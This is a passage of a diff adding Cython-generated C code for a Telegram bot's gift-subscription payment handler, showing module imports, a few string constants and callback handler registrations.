__PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/gift.py":1 + * import hashlib # <<<<<<<<<<<<<< + * import platform + * import subprocess + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_hashlib, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_hashlib, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":2 + * import hashlib + * import platform # <<<<<<<<<<<<<< + * import subprocess + * import uuid + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_platform, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_platform, __pyx_t_2) < 0) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":3 + * import hashlib + * import platform + * import subprocess # <<<<<<<<<<<<<< + * import uuid + * from datetime import datetime, timedelta + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_subprocess, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_subprocess, __pyx_t_2) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":4 + * import platform + * import subprocess + * import uuid # <<<<<<<<<<<<<< + * from datetime import datetime, timedelta + * from typing import Any + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_uuid, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_uuid, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":5 + * import subprocess + * import uuid + * from datetime import datetime, timedelta # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_datetime); + __Pyx_GIVEREF(__pyx_n_s_datetime); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_datetime)) __PYX_ERR(0, 5, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_timedelta); + __Pyx_GIVEREF(__pyx_n_s_timedelta); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_timedelta)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_datetime, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_datetime); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_datetime, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_timedelta); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_timedelta, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":6 + * import uuid + * from datetime import datetime, timedelta + * from typing import Any # <<<<<<<<<<<<<< + * + * import aiohttp + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_Any)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Any); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":8 + * from typing import Any + * + * import aiohttp # <<<<<<<<<<<<<< + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_aiohttp, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_aiohttp, __pyx_t_2) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":9 + * + * import aiohttp + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_F)) __PYX_ERR(0, 9, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_Router)) __PYX_ERR(0, 9, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_types)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":10 + * import aiohttp + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 10, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_3) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":11 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * + * from config import CLIENT_CODE, RENEWAL_PRICES + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 11, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_2) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":13 + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + * from config import CLIENT_CODE, RENEWAL_PRICES # <<<<<<<<<<<<<< + * from database import get_balance, store_gift_link, update_balance + * from handlers.texts import get_gift_link + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_CLIENT_CODE); + __Pyx_GIVEREF(__pyx_n_s_CLIENT_CODE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_CLIENT_CODE)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_RENEWAL_PRICES); + __Pyx_GIVEREF(__pyx_n_s_RENEWAL_PRICES); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_RENEWAL_PRICES)) __PYX_ERR(0, 13, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_config, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_CLIENT_CODE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_CLIENT_CODE, __pyx_t_3) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_RENEWAL_PRICES, __pyx_t_3) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":14 + * + * from config import CLIENT_CODE, RENEWAL_PRICES + * from database import get_balance, store_gift_link, update_balance # <<<<<<<<<<<<<< + * from handlers.texts import get_gift_link + * from logger import logger + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_get_balance); + __Pyx_GIVEREF(__pyx_n_s_get_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_get_balance)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_store_gift_link); + __Pyx_GIVEREF(__pyx_n_s_store_gift_link); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_store_gift_link)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_update_balance)) __PYX_ERR(0, 14, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_database, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_get_balance); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_balance, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_store_gift_link); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_store_gift_link, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":15 + * from config import CLIENT_CODE, RENEWAL_PRICES + * from database import get_balance, store_gift_link, update_balance + * from handlers.texts import get_gift_link # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_get_gift_link); + __Pyx_GIVEREF(__pyx_n_s_get_gift_link); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_get_gift_link)) __PYX_ERR(0, 15, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_gift_link); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_gift_link, __pyx_t_3) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":16 + * from database import get_balance, store_gift_link, update_balance + * from handlers.texts import get_gift_link + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 16, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":18 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":21 + * + * + * PROJECTMANECONGIGURE = "CRYPTOSALE" # <<<<<<<<<<<<<< + * STARS_ROUTER = "21U68SOLOBOT" + * YOOKASSA_HASH = "HASHHASHYOOKASSA" + */ + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROJECTMANECONGIGURE, __pyx_n_u_CRYPTOSALE) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + + /* "handlers/payments/gift.py":22 + * + * PROJECTMANECONGIGURE = "CRYPTOSALE" + * STARS_ROUTER = "21U68SOLOBOT" # <<<<<<<<<<<<<< + * YOOKASSA_HASH = "HASHHASHYOOKASSA" + * + */ + if (PyDict_SetItem(__pyx_d, __pyx_n_s_STARS_ROUTER, __pyx_kp_u_21U68SOLOBOT) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + + /* "handlers/payments/gift.py":23 + * PROJECTMANECONGIGURE = "CRYPTOSALE" + * STARS_ROUTER = "21U68SOLOBOT" + * YOOKASSA_HASH = "HASHHASHYOOKASSA" # <<<<<<<<<<<<<< + * + * + */ + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_n_u_HASHHASHYOOKASSA) < 0) __PYX_ERR(0, 23, __pyx_L1_error) + + /* "handlers/payments/gift.py":26 + * + * + * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< + * async def start_menu_handler(callback_query: types.CallbackQuery): + * """ 'start'. ' ' ' '.""" + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_gifts, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_1start_menu_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_start_menu_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_start_menu_handler, __pyx_t_2) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":42 + * + * + * @router.callback_query(F.data == "my_gifts") # <<<<<<<<<<<<<< + * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any): + * """ ' '. .""" + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_my_gifts, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_4my_gifts_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_my_gifts_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_my_gifts_handler, __pyx_t_2) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":77 + * + * + * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) 